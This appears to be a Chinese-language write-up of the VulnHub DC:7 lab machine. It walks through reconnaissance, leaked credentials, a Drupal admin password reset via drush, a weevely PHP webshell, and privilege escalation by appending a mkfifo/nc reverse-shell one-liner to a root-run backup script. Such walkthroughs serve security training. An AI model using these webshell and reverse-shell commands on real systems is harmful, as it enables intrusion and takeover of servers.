準備工作
在vulnhub官網下載DC:7靶機DC: 7 ~ VulnHub
匯入到vmware,設定成NAT模式
開啟kali準備進行滲透(ip:192.168.200.6)
資訊收集
已經知道了靶機的ip192.168.200.19 利用nmap進行埠探測
nmap -sV -p- 192.168.200.19
開放了80埠和22埠,開啟80埠
可以看到CMS是Drupal8,左上角還有個登陸頁面
但在嘗試dirsearch掃目錄,爆密碼,搜漏洞都沒有利用的點。
後面發現下面有一個@DC7USER,去搜一下還真有發現,DC7的作者上傳了原始碼到github
下載來看看,在config.php找到了資料庫的賬號密碼dc7user——MdR3xOgB7#dW
嘗試用這個密碼登陸了一下頁面,失敗
那用這個密碼登陸一下ssh,成功
ssh dc7user@192.168.200.19
Drush
有一封郵件
看內容是通過這個指令碼/opt/scripts/backups.sh將資料庫自動備份到/home/dc7user/backups/website.sql,這個指令碼還是root許可權
看看這個指令碼的內容
在backups.sh檔案中主要發現了兩個命令drush,gpg。
Drush是Drupal的命令列shell和Unix指令碼介面。Drush Core附帶了許多有用的命令,可用於與模組/主題/配置檔案等程式碼進行互動。gpg是加密的命令
查了一下drush命令可以修改密碼,但是使用drush命令的時候要先切換到網站原始碼所在的目錄,不然會報錯
進入網站目錄/var/www/html。用drush命令將admin的密碼改成admin
drush user-password admin --password="admin"
登陸網站看看.
weevely
進入後臺發現這裡可以編輯頁面,那就可以寫一句話木馬,但是查到drupal8不支援php程式碼,查詢資料發現需要匯入一個模組
模組地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 輸入直接安裝
選第二個選項,拉到下面將PHPFiter勾選,再拉到底部安裝
然後回到剛剛編輯首頁,可以看到有php的選項了,插入一句話程式碼
輸入phpinfo();看看能不能執行
成功,接下來使用weevely生成木馬進行連線
weevely generate test test.php
然後將程式碼複製到編輯的地方儲存
再使用weevely連線
weevely http://192.168.200.19/ test
連線成功 獲得www-data許可權
利用backups.sh提權
www-data對之前看到的backups.sh有修改許可權
可以在這個指令碼新增反彈shell的命令進行提權
很多伺服器都將-e功能刪除了,只能這樣。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 埠 >/tmp/f
rm /tmp/f 刪除該檔案(以免跟後面定義的 管道符 衝突)
mkfifo /tmp/f 這是建立自定義有名管道符。管道符的名稱是 /tmp/f (用於程式間的通訊, 如 ls > /tmp/f ,cat /tmp/f ,連通兩個程式之間的通訊)
cat /tmp/f 取出管道符中的內容,
|/bin/sh -i 2>&1 將前面取出的內容作為輸入,輸入給 /bin/sh,再將bash的標準錯誤輸出 也作為標準輸入 (2 >&1)給bash
然後再將bash的輸出,傳給nc 遠端,再將nc 傳來的資料,寫入 管道符 /tmp/f 。最後首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.6 9999 >/tmp/f" >> /opt/scripts/backups.sh
然後開啟kali終端 nc -lvf 9999 進行監聽,可能要等挺長時間,因為這個指令碼是隔一段時間執行一次
(這裡我等了很久發現還沒有反應,檢視了一下sh檔案根本沒寫進去,然後想cd出去發現還沒有許可權,還以為是我用weevely的方法有問題,網上其他人都是直接反彈shell的,後面發現是寫入的路徑有問題,應該使用絕對路徑/opt/scripts/backups.sh。如果發現很久沒反應一定要檢查是不是哪裡出問題了)
等了一段時間後反彈成功,拿到flag